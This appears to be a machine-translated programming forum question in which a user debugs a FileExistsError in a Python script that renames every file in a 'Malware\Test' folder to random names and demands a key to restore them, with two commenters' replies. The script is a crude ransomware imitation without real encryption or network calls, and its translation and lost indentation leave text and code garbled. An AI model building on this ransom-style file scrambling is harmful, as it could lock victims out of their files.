Ich schreibe ein Programm, das Dateien verschlüsselt und entschlüsselt sie mit einem Schlüssel. Code:Python für in for-Schleife: FileExistError
import random, os, time
#Collecting all files
pad = r'C:\Users\Hugo\Desktop\Malware\Test'
bestand_list = []
for files in next(os.walk(pad))[2]:
bestand_list.append(pad + '\\' + files)
#Random 10 characters making encryption
s = '[email protected]#$%^&'
sleutel = ''
for i in range(10):
sleutel += random.choice(s)
print(sleutel)
print('The computer is being encrypted')
time.sleep(1)
def Decrypt():
x = 0
decryptie = input('Enter your decryption code: \n')
if (decryptie == sleutel):
for bestand in bestand_list:
for bestand_naam in bestandnaam_list:
locatie = bestand_list[x]
os.rename(bestand_naam, locatie)
x += 1
print ('Your file will now be decrypted')
else:
print ('Unfortunately your file was not decrypted')
def Encrypt():
x = 0
global bestandnaam_list
bestandnaam_list = []
for bestand in bestand_list:
bestand_naam = ''
locatie = bestand_list[x]
for i in range (10):
bestand_naam += random.choice(s)
bestandnaam_list.append(pad + '\\' + bestand_naam)
os.rename(locatie, pad + '\\' + bestand_naam)
x += 1
print('Your files are now encrypted')
Decrypt()
Encrypt()
Das Problem, das ich habe, ist, dass die zweite Datei durch Entschlüsselung in die erste Datei umbenannt wird. Dies führt zu einem FileExistError. Es ist wahrscheinlich etwas falsch mit dem:
x += 1
in def Decrypt()
Wie dieses Problem zu beheben?
Edit: Zu: Traceback (jüngste Aufforderung zuletzt): File "crypto.py", Zeile 29, in Decrypt
os.rename(bestand_naam, locatie)
FileExistsError: [WinError 183] Eine Datei kann nicht machen, die bereits existiert.
immer setzen volle Fehlermeldung (Traceback) in Frage (als Text, nicht Screenshot). Es gibt andere nützliche Informationen, z. Welche Linie macht ein Problem? – furas
wird jetzt bearbeiten –
was ist das Ziel/Zweck mit der Umbenennung? Wie soll das funktionieren? – ahed87